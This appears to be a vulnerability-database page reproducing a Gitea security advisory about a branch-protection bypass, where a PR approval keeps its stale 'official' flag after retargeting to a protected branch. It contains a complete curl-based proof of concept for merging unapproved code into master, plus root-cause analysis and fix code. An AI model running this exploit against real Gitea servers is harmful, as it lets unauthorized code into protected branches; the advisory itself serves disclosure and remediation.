Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Network API, low complexity, requires write-access collaborator (PR:L) with no user interaction; impact is code-integrity bypass (I:H) with no confidentiality or direct availability loss (C:N/A:N).
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
Lifecycle Timeline
3DescriptionCVE.org
Summary
Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.
- Confirmed on Gitea 1.25.4 (
1.25.4+41-g96515c0f20)
Vulnerability Details
Root Cause
When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.
When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:
- Updates
pr.BaseBranch - Recalculates merge feasibility and divergence
- Deletes old push comments
- Creates a "change target branch" comment
But it does not:
- Re-evaluate
officialon existing reviews - Dismiss existing approvals
- Check whether reviewers are in the new target branch's approval whitelist
At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean - it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.
Relevant Code Paths
- Review creation -
services/pull/review.go:SubmitReviewcallsIsOfficialRevieweragainst the currentpr.BaseBranch's protection rules, storesofficial=true/false - Target branch change -
services/pull/pull.go:ChangeTargetBranchmodifiespr.BaseBranchbut does not touch existing reviews - Merge check -
services/pull/check.go:CheckPullMergeable→models/issues/pull.go:GetGrantedApprovalsCountcounts storedofficial=truereviews without re-evaluating against the new branch's whitelist
Prerequisites
The attacker needs:
- Write (push) access to the repository (collaborator with write role, or the ability to create branches - not admin)
- The ability to create pull requests (standard for any user with push access)
- A second account (or any non-admin account) to submit the approval on the unprotected branch
The attacker does not need:
- Admin access
- To be in the approval whitelist for the protected branch
- Any interaction from the branch protection's designated approvers
Proof of Concept
Setup
Repository owner/repo with branch master protected:
- Required approvals: 1
- Approval whitelist enabled, containing only user
admin-reviewer - User
attackerhas write access but is not in the approval whitelist
Steps
BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password"
# any non-whitelisted user
# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch
# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{
"head": "malicious-branch",
"base": "tmp-unprotected",
"title": "Add feature"
}'
# Returns PR #N
# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ACCOMPLICE_AUTH" \
-H "Content-Type: application/json" \
-d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true
# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"base": "master"}'
# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false
# 7. Merge - succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"do": "merge"}'
# Returns 200 OK - malicious commit is now on masterObserved API Responses
Step 4 - Approval on unprotected branch:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}Step 6 - Same approval after retarget to protected master:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.
Impact
- Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
- Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements
Suggested Fix
Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:
// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
IssueID: pr.IssueID,
Type: issues_model.ReviewTypeApprove,
})
if err != nil {
return err
}
newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
return err
}
for _, review := range reviews {
wasOfficial := review.Official
if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
} else {
review.Official = false
}
if wasOfficial != review.Official {
if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
return err
}
}
}Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):
// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
IssueID: pr.IssueID,
Message: "Dismissed: PR target branch changed",
}); err != nil {
return err
}AnalysisAI
Branch protection bypass in Gitea versions prior to 1.27.0 allows a user with write (non-admin) access to merge unauthorized code into a protected branch by exploiting a stale approval flag. When a pull request is retargeted from an unprotected branch to a protected one via ChangeTargetBranch, Gitea fails to re-evaluate the stored official=true flag on existing approvals, so an approval that was never valid under the protected branch's whitelist still satisfies its required-approvals gate. Publicly available exploit code exists (a detailed step-by-step PoC in the GHSA advisory); no public exploit identified as actively used and it is not in CISA KEV.
Technical ContextAI
Gitea is a self-hosted Git service written in Go (package code.gitea.io/gitea). The flaw sits in its branch-protection and code-review logic. When a review is submitted, services/pull/review.go:SubmitReview calls IsUserOfficialReviewer (models/git/protected_branch.go) against the PR's current base branch and persists a boolean official flag on the review record. Merge eligibility is later computed by GetGrantedApprovalsCount (models/issues/pull.go:766), which simply counts stored reviews where official=true AND dismissed=false AND type=Approve - it reads the cached boolean rather than re-checking the whitelist. Because ChangeTargetBranch (services/pull/pull.go) mutates pr.BaseBranch without recomputing or dismissing existing reviews, the stored flag becomes stale. This is a classic CWE-863 Incorrect Authorization: an authorization decision (is this an official/whitelisted approval for THIS branch?) is made once and never re-validated when the protected resource under evaluation changes.
RemediationAI
Vendor-released patch: upgrade Gitea to 1.27.0 or later, which adds RecalculateReviewsOfficial (PR https://github.com/go-gitea/gitea/pull/38319 and https://github.com/go-gitea/gitea/pull/38402) to re-evaluate the official flag on all approve/reject reviews whenever a PR's target branch changes. Until you can upgrade, reduce exposure with targeted compensating controls: restrict who holds write/push access on repositories with protected branches (the exploit requires a non-admin collaborator, so tightening collaborator lists directly shrinks the attack surface); avoid relying solely on approval-whitelist counts by additionally enabling stricter merge gates such as required status checks or requiring re-approval on new commits; and operationally monitor for PRs whose base branch was changed after receiving approvals (the audit trail includes a 'change target branch' comment) and re-review or dismiss approvals on any retargeted PR before merge. The trade-off of manual review-dismissal is added maintainer workload, and disabling the retarget capability is not natively configurable, so procedural review remains the main stopgap. Reference the advisory at https://github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg.
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Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-58166
GHSA-w5pg-649r-p6gg